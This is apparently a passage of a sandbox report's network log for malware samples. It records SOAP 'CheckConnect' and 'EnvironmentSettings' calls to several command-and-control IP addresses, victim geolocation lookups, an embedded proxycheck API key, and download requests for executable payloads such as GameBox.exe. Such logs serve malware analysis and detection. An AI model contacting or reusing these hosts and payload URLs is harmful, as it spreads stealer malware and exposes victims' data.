                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.200:27625/
                                                                                                                                                                                                                                          es0CMIl9agW6vIuu4OFL59GL.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.200:27625
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 45.14.49.200:27625
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:38 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.200:27625/
                                                                                                                                                                                                                                          es0CMIl9agW6vIuu4OFL59GL.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.200:27625
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 45.14.49.200:27625
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4752
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:42 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.204.109.146:54891/
                                                                                                                                                                                                                                          31PX_ym4OSr3ASnyn_2pd3hh.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.204.109.146:54891
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 185.204.109.146:54891
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:07 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.204.109.146:54891/
                                                                                                                                                                                                                                          31PX_ym4OSr3ASnyn_2pd3hh.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.204.109.146:54891
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 185.204.109.146:54891
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:44 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.129.236.6:56220/
                                                                                                                                                                                                                                          1vooYukf6WU6k9MpHAnkwqrX.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.129.236.6:56220
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 45.129.236.6:56220
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:56 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.129.236.6:56220/
                                                                                                                                                                                                                                          1vooYukf6WU6k9MpHAnkwqrX.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.129.236.6:56220
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 45.129.236.6:56220
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:00 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/country
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          location: https://ipinfo.io/country
                                                                                                                                                                                                                                          vary: Accept, Accept-Encoding
                                                                                                                                                                                                                                          content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                          content-length: 47
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:24:39 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:24:40 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 0
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:24:51 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipinfo.io/country
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 3
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:24:39 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                          Alt-Svc: clear
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.8.187
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.9.187
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.75.219
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://proxycheck.io/v2/154.61.71.13?key=16vvx5-8q30y1-092f93-im8513
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.8.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /v2/154.61.71.13?key=16vvx5-8q30y1-092f93-im8513 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: proxycheck.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:40 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: max-age=2678400, s-maxage=10
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:24:42 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.26
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 9
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:24:31 GMT
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xGbnQw8on7W32x1R9bfR%2BnojW%2BQRZA%2FgzxEHC0RrfD2GL8ER2Ob3ppFLkh%2FbdrJsEqNyDyyd9gXkW9z1yFqSozdyCBLaKC0wuafShW97TA5ZjfMT63Zv5mUGuLbR1%2Fc%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823272e1a48bdcd-AMS
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          208.95.112.1
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://46.8.19.177:41228/
                                                                                                                                                                                                                                          FosKB2Mcs9Etrf3_yllW3zpq.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          46.8.19.177:41228
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 46.8.19.177:41228
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 07:24:41 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://46.8.19.177:41228/
                                                                                                                                                                                                                                          FosKB2Mcs9Etrf3_yllW3zpq.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          46.8.19.177:41228
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 46.8.19.177:41228
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4745
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 07:24:46 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://135.148.139.222:33569/
                                                                                                                                                                                                                                          _t8eNnwX6KYKfXkwloHxOTPI.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          135.148.139.222:33569
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 135.148.139.222:33569
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:33 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://135.148.139.222:33569/
                                                                                                                                                                                                                                          _t8eNnwX6KYKfXkwloHxOTPI.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          135.148.139.222:33569
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 135.148.139.222:33569
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4570
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:54 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://95.181.172.100:6795/
                                                                                                                                                                                                                                          UzU1aE0pfbqarCVa7XvdCz0i.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.100:6795
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 95.181.172.100:6795
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:41 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://95.181.172.100:6795/
                                                                                                                                                                                                                                          UzU1aE0pfbqarCVa7XvdCz0i.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.100:6795
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 95.181.172.100:6795
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4751
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:47 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://186.2.171.3/seemorebty/il.php?e=md8_8eus
                                                                                                                                                                                                                                          md8_8eus.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          186.2.171.3:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /seemorebty/il.php?e=md8_8eus HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3
                                                                                                                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                                                                          Referer: https://www.facebook.com
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36
                                                                                                                                                                                                                                          Host: 186.2.171.3
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: ddos-guard
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=60
                                                                                                                                                                                                                                          Set-Cookie: __ddg1=meUBsZIbMRmpzFIwb1DB; Domain=.171.3; HttpOnly; Path=/; Expires=Sun, 21-Aug-2022 10:24:42 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:31 GMT
                                                                                                                                                                                                                                          Upgrade: h2
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.219.158.26
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.219.158.26:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /Download/GameBox.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: 7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          x-amz-id-2: skgPfHXOxiqkbyX6Kw6SwnAeUZd0NWbJ5NkMa/rC5r+oQmQyELC0PBEwe8LEylMaMNjN76nfv0Y=
                                                                                                                                                                                                                                          x-amz-request-id: F38JC3B3HACKG4S7
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:43 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 16:38:23 GMT
                                                                                                                                                                                                                                          ETag: "d09797d28f762a14c5bbbc5f4f464019-2"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          Content-Length: 7367279
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ip-api.com/json/
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          208.95.112.1:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /json/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                                                                                                                                                                                                                          Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          viewport-width: 1920
                                                                                                                                                                                                                                          Host: ip-api.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:42 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 323
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          X-Ttl: 35
                                                                                                                                                                                                                                          X-Rl: 31
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          88.99.66.31
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
